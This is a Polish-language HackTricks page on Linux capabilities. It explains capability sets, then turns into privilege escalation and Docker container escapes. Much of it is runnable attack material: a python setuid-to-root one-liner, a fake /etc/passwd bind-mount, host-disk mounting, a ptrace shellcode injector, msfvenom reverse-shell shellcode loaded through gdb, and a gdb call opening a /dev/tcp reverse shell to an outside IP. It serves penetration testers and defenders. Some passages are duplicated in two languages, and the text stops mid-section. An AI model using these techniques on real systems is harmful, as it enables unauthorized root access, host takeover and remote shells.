Linux Capabilities

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

​​​​​​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres stanowi wrzące miejsce spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.\

Linux Capabilities

Linux capabilities dzielą uprawnienia roota na mniejsze, odrębne jednostki, pozwalając procesom na posiadanie podzbioru uprawnień. Dzięki temu minimalizuje się ryzyko, nie przyznając niepotrzebnie pełnych uprawnień roota.

Problem:

  • Zwykli użytkownicy mają ograniczone uprawnienia, co wpływa na zadania takie jak otwieranie gniazd sieciowych, które wymagają dostępu roota.

Zbiory uprawnień:

  1. Dziedziczone (CapInh):

  • Cel: Określa uprawnienia przekazywane przez proces nadrzędny.

  • Funkcjonalność: Gdy tworzony jest nowy proces, dziedziczy on uprawnienia z tego zbioru po swoim rodzicu. Przydatne do utrzymania określonych uprawnień w procesach potomnych.

  • Ograniczenia: Proces nie może uzyskać uprawnień, których jego rodzic nie posiadał.

  1. Efektywne (CapEff):

  • Cel: Reprezentuje aktualnie wykorzystywane przez proces uprawnienia.

  • Funkcjonalność: Jest to zbiór uprawnień, których jądro sprawdza, aby udzielić zgody na różne operacje. Dla plików, ten zbiór może być flagą wskazującą, czy uprawnienia dozwolone pliku mają być uważane za efektywne.

  • Znaczenie: Zbiór efektywny jest kluczowy dla natychmiastowych sprawdzeń uprawnień, działając jako aktywny zbiór uprawnień, który może być używany przez proces.

  1. Dozwolone (CapPrm):

  • Cel: Określa maksymalny zbiór uprawnień, jakie proces może posiadać.

  • Funkcjonalność: Proces może podnieść uprawnienie ze zbioru dozwolonego do zbioru efektywnego, dając mu możliwość korzystania z tego uprawnienia. Może również odrzucić uprawnienia ze zbioru dozwolonego.

  • Granica: Działa jako górne ograniczenie dla uprawnień, jakie proces może mieć, zapewniając, że proces nie przekracza określonego zakresu uprawnień.

  1. Ograniczające (CapBnd):

  • Cel: Ustala górną granicę uprawnień, jakie proces może zdobyć w trakcie swojego cyklu życia.

  • Funkcjonalność: Nawet jeśli proces ma określone uprawnienie w swoim zbiorze dziedzicznym lub dozwolonym, nie może zdobyć tego uprawnienia, chyba że jest również w zbiorze ograniczającym.

  • Przykład użycia: Ten zbiór jest szczególnie przydatny do ograniczania potencjału eskalacji uprawnień procesu, dodając dodatkową warstwę zabezpieczeń.

  1. Środowiskowe (CapAmb):

  • Cel: Pozwala na utrzymanie określonych uprawnień podczas wywołania systemowego execve, które zwykle powoduje pełne zresetowanie uprawnień procesu.

  • Funkcjonalność: Zapewnia, że programy nie-SUID, które nie mają powiązanych uprawnień plików, mogą zachować określone uprawnienia.

  • Ograniczenia: Uprawnienia w tym zbiorze podlegają ograniczeniom zbiorów dziedzicznego i dozwolonego, zapewniając, że nie przekraczają one dozwolonych uprawnień procesu.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Aby uzyskać dalsze informacje, sprawdź:

Uprawnienia procesów i plików binarnych

Uprawnienia procesów

Aby zobaczyć uprawnienia dla danego procesu, użyj pliku status w katalogu /proc. Ponieważ dostarcza on więcej szczegółów, ograniczmy go tylko do informacji dotyczących uprawnień systemu Linux. Zauważ, że dla wszystkich działających procesów informacje o uprawnieniach są przechowywane na poziomie wątku, a dla plików binarnych w systemie plików są one przechowywane w rozszerzonych atrybutach.

Możesz znaleźć zdefiniowane uprawnienia w pliku /usr/include/linux/capability.h

Możesz znaleźć uprawnienia bieżącego procesu w cat /proc/self/status lub wykonując capsh --print, a uprawnienia innych użytkowników w /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Ten polecenie powinno zwrócić 5 linii na większości systemów.

  • CapInh = Dziedziczone uprawnienia

  • CapPrm = Dozwolone uprawnienia

  • CapEff = Efektywne uprawnienia

  • CapBnd = Zestaw graniczny

  • CapAmb = Zestaw uprawnień środowiskowych

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Te liczby szesnastkowe nie mają sensu. Za pomocą narzędzia capsh możemy je odkodować na nazwę uprawnień.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Sprawdźmy teraz uprawnienia używane przez ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Chociaż to działa, istnieje inny i prostszy sposób. Aby zobaczyć uprawnienia działającego procesu, wystarczy użyć narzędzia getpcaps po którym podajemy jego identyfikator procesu (PID). Można również podać listę identyfikatorów procesów.

getpcaps 1234

Sprawdźmy tutaj uprawnienia tcpdump po nadaniu wystarczających uprawnień binarnemu (cap_net_admin i cap_net_raw) do podsłuchiwania sieci (tcpdump działa w procesie 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Jak widać, podane uprawnienia odpowiadają wynikom dwóch sposobów uzyskiwania uprawnień dla pliku binarnego. Narzędzie getpcaps korzysta z wywołania systemowego capget(), aby zapytać o dostępne uprawnienia dla określonego wątku. Wywołanie systemowe to wymaga tylko podania identyfikatora PID, aby uzyskać więcej informacji.

Uprawnienia plików binarnych

Pliki binarne mogą mieć uprawnienia, które mogą być używane podczas wykonywania. Na przykład, bardzo często można znaleźć plik binarny ping z uprawnieniem cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Możesz wyszukiwać binarne z uprawnieniami za pomocą:

getcap -r / 2>/dev/null

Zrzucanie uprawnień za pomocą capsh

Jeśli zrzucimy uprawnienia CAP_NET_RAW dla ping, to narzędzie ping przestanie działać.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Oprócz samego wyniku capsh, również samo polecenie tcpdump powinno wywołać błąd.

/bin/bash: /usr/sbin/tcpdump: Operacja niedozwolona

Błąd jednoznacznie pokazuje, że polecenie ping nie ma uprawnień do otwarcia gniazda ICMP. Teraz wiemy na pewno, że to działa zgodnie z oczekiwaniami.

Usuwanie uprawnień

Możesz usunąć uprawnienia binarnego pliku za pomocą

setcap -r </path/to/binary>

Uprawnienia użytkownika

Wygląda na to, że można przypisać uprawnienia również do użytkowników. Oznacza to prawdopodobnie, że każdy proces uruchomiony przez użytkownika będzie mógł korzystać z jego uprawnień. Na podstawie tego, tego i tego kilka plików musi zostać skonfigurowanych, aby nadać użytkownikowi określone uprawnienia, ale plik odpowiedzialny za przypisanie uprawnień do każdego użytkownika to /etc/security/capability.conf. Przykład pliku:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Zdolności środowiskowe

Kompilując poniższy program, można uruchomić powłokę bash w środowisku, które udostępnia zdolności.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Wewnątrz bash uruchomionego przez skompilowany plik binarny środowiskowy można zauważyć nowe uprawnienia (zwykły użytkownik nie będzie miał żadnych uprawnień w sekcji "aktualnej").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Możesz dodać tylko uprawnienia, które są obecne zarówno w zestawie dozwolonych, jak i dziedzicznych.

Binarki świadome uprawnień / Binarki nieświadome uprawnień

Binarki świadome uprawnień nie będą korzystać z nowych uprawnień przekazanych przez środowisko, natomiast binarki nieświadome uprawnień będą z nich korzystać, ponieważ nie odrzucą ich. Oznacza to, że binarki nieświadome uprawnień są podatne w specjalnym środowisku, które przyznaje uprawnienia binarnym.

Uprawnienia usługi

Domyślnie usługa uruchomiona jako root będzie miała przypisane wszystkie uprawnienia, a w niektórych przypadkach może to być niebezpieczne. Dlatego plik konfiguracyjny usługi pozwala na określenie uprawnień, które chcesz, aby miała, oraz użytkownika, który powinien wykonywać usługę, aby uniknąć uruchamiania usługi z niepotrzebnymi uprawnieniami:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Uprawnienia w kontenerach Docker

Domyślnie Docker przypisuje kilka uprawnień do kontenerów. Bardzo łatwo sprawdzić, jakie są te uprawnienia, wykonując polecenie:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Eskalacja uprawnień/Ucieczka z kontenera

Można wykorzystać zdolności, gdy chcesz ograniczyć własne procesy po wykonaniu uprzywilejowanych operacji (np. po skonfigurowaniu chroot i powiązaniu z gniazdem). Jednak mogą być one wykorzystane przez przekazywanie im złośliwych poleceń lub argumentów, które są następnie uruchamiane jako root.

Możesz wymusić zdolności na programach za pomocą setcap i sprawdzić je za pomocą getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep oznacza, że dodajesz zdolność ("-" usuwa ją) jako Efektywną i Dozwoloną.

Aby zidentyfikować programy w systemie lub folderze posiadające zdolności:

getcap -r / 2>/dev/null

Przykład wykorzystania

W poniższym przykładzie stwierdzono, że binarny plik /usr/bin/python2.6 jest podatny na eskalację uprawnień:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Zdolności potrzebne przez tcpdump, aby umożliwić dowolnemu użytkownikowi podsłuchiwanie pakietów:

To allow any user to sniff packets using `tcpdump`, the following capabilities need to be set:

1. `CAP_NET_RAW`: This capability allows the user to create raw sockets, which is necessary for packet sniffing.

To set these capabilities, you can use the `setcap` command:

```bash
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump

After setting the capabilities, any user will be able to run tcpdump and sniff packets without requiring root privileges.

Zdolności potrzebne przez tcpdump, aby umożliwić dowolnemu użytkownikowi podsłuchiwanie pakietów:

Aby umożliwić dowolnemu użytkownikowi podsłuchiwanie pakietów za pomocą `tcpdump`, należy ustawić następujące zdolności:

1. `CAP_NET_RAW`: Ta zdolność umożliwia użytkownikowi tworzenie gniazd surowych, co jest niezbędne do podsłuchiwania pakietów.

Aby ustawić te zdolności, można użyć polecenia `setcap`:

```bash
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump

Po ustawieniu zdolności, dowolny użytkownik będzie mógł uruchomić tcpdump i podsłuchiwać pakiety bez konieczności posiadania uprawnień roota.

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

Specjalny przypadek "pustych" uprawnień

Z dokumentacji: Należy zauważyć, że można przypisać puste zbiory uprawnień do pliku programu, co oznacza, że można utworzyć program z ustawionym identyfikatorem użytkownika root, który zmienia efektywny i zapisany identyfikator użytkownika do 0, ale nie nadaje żadnych uprawnień temu procesowi. Innymi słowy, jeśli masz plik binarny, który:

  1. nie jest własnością roota,

  2. nie ma ustawionych bitów SUID/SGID,

  3. ma pusty zbiór uprawnień (np. getcap myelf zwraca myelf =ep),

to ten plik binarny zostanie uruchomiony jako root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN to bardzo potężne uprawnienie w systemie Linux, często porównywane do poziomu roota ze względu na swoje rozległe uprawnienia administracyjne, takie jak montowanie urządzeń czy manipulowanie funkcjami jądra. Chociaż jest niezbędne dla kontenerów symulujących całe systemy, CAP_SYS_ADMIN stanowi znaczne wyzwanie dla bezpieczeństwa, zwłaszcza w środowiskach konteneryzowanych, ze względu na możliwość eskalacji uprawnień i kompromitacji systemu. Dlatego jego użycie wymaga rygorystycznej oceny bezpieczeństwa i ostrożnego zarządzania, z silnym naciskiem na odrzucenie tego uprawnienia w kontenerach specyficznych dla aplikacji, aby przestrzegać zasady najmniejszych uprawnień i zminimalizować powierzchnię ataku.

Przykład z plikiem binarnym

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Za pomocą pythona można zamontować zmodyfikowany plik passwd na oryginalnym pliku passwd:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

I na koniec zamontuj zmodyfikowany plik passwd w lokalizacji /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

I będziesz w stanie su jako root używając hasła "password".

Przykład z środowiskiem (Docker breakout)

Możesz sprawdzić włączone uprawnienia wewnątrz kontenera Docker za pomocą:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

W poprzednim wyniku można zobaczyć, że możliwość SYS_ADMIN jest włączona.

  • Montowanie

To pozwala kontenerowi Docker na montowanie dysku hosta i swobodny dostęp do niego:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Pełny dostęp

W poprzedniej metodzie udało nam się uzyskać dostęp do dysku hosta Docker. Jeśli zauważysz, że host uruchamia serwer ssh, możesz utworzyć użytkownika wewnątrz dysku hosta Docker i uzyskać do niego dostęp za pomocą SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

To oznacza, że możesz uciec z kontenera, wstrzykując shellcode do pewnego procesu działającego wewnątrz hosta. Aby uzyskać dostęp do procesów działających wewnątrz hosta, kontener musi być uruchomiony przynajmniej z opcją --pid=host.

CAP_SYS_PTRACE umożliwia korzystanie z funkcji debugowania i śledzenia wywołań systemowych dostarczanych przez ptrace(2) oraz wywołań dołączania pamięci międzyprocesowej, takich jak process_vm_readv(2) i process_vm_writev(2). Chociaż jest to potężne narzędzie do celów diagnostycznych i monitorowania, jeśli CAP_SYS_PTRACE jest włączone bez restrykcyjnych środków, takich jak filtr seccomp dla ptrace(2), może to znacznie osłabić bezpieczeństwo systemu. W szczególności, może być wykorzystane do obejścia innych ograniczeń bezpieczeństwa, zwłaszcza tych narzuconych przez seccomp, jak pokazują dowody koncepcyjne (PoC) takie jak ten.

Przykład z użyciem pliku binarnego (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Przykład z użyciem binarnego pliku (gdb)

gdb z uprawnieniami ptrace:

/usr/bin/gdb = cap_sys_ptrace+ep

Utwórz shellcode za pomocą narzędzia msfvenom do wstrzykiwania go w pamięć za pomocą gdb.

$ msfvenom -p linux/x86/exec CMD=/bin/sh -f c -o shellcode.c
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main()
{
    printf("Shellcode Length: %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}
$ gcc -o shellcode shellcode.c -z execstack
$ gdb -q ./shellcode
(gdb) disas main
Dump of assembler code for function main:
   0x08048414 <+0>:     push   %ebp
   0x08048415 <+1>:     mov    %esp,%ebp
   0x08048417 <+3>:     sub    $0x8,%esp
   0x0804841a <+6>:     and    $0xfffffff0,%esp
   0x0804841d <+9>:     mov    $0x0,%eax
   0x08048422 <+14>:    add    $0xf,%eax
   0x08048425 <+17>:    add    $0xf,%eax
   0x08048428 <+20>:    shr    $0x4,%eax
   0x0804842b <+23>:    shl    $0x4,%eax
   0x0804842e <+26>:    sub    %eax,%esp
   0x08048430 <+28>:    movl   $0x80484f0,(%esp)
   0x08048437 <+35>:    call   0x8048300 <printf@plt>
   0x0804843c <+40>:    lea    0x80484f0,%eax
   0x08048441 <+45>:    mov    %eax,(%esp)
   0x08048444 <+48>:    call   0x8048320 <strlen@plt>
   0x08048449 <+53>:    mov    %eax,%edx
   0x0804844b <+55>:    lea    0x80484f0,%eax
   0x08048450 <+60>:    mov    %eax,(%esp)
   0x08048453 <+63>:    call   0x8048310 <__printf_chk@plt>
   0x08048458 <+68>:    lea    0x80484f0,%eax
   0x0804845d <+73>:    mov    %eax,(%esp)
   0x08048460 <+76>:    call   0x8048330 <__libc_start_main@plt>
   0x08048465 <+81>:    leave
   0x08048466 <+82>:    ret
End of assembler dump.
(gdb) b *main+82
Breakpoint 1 at 0x8048466
(gdb) r
Starting program: /root/shellcode
Shellcode Length: 23

Breakpoint 1, 0x08048466 in main ()
(gdb) x/23xb $eax
0xbffffe5c:     0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73    0x68
0xbffffe64:     0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3    0x50
0xbffffe6c:     0x53    0x89    0xe1    0xb0    0x0b    0xcd    0x80
(gdb) quit

Teraz możesz użyć wygenerowanego shellcode'u do wstrzykiwania go w pamięć w celu uzyskania dostępu do powłoki systemowej.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

Debuguj proces roota za pomocą gdb i skopiuj-wklej wcześniej wygenerowane linie gdb:

# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

Przykład z środowiskiem (Docker breakout) - kolejne nadużycie gdb

Jeśli GDB jest zainstalowany (lub można go zainstalować za pomocą apk add gdb lub apt install gdb na przykład), można debugować proces z hosta i sprawić, aby wywołał funkcję system. (Ta technika wymaga również uprawnienia SYS_ADMIN).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

Nie będziesz w stanie zobaczyć wyniku wykonanej komendy, ale zostanie ona wykonana przez ten proces (aby uzyskać powłokę rev).

Jeśli otrzymasz błąd "No symbol "system" in current context.", sprawdź poprzedni przykład ładowania shellcode do programu za pomocą gdb.

Przykład z użyciem środowiska (przełamanie Docker) - Wstrzyknięcie kodu Shell

Możesz sprawdzić włączone uprawnienia wewnątrz kontenera Docker, używając:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
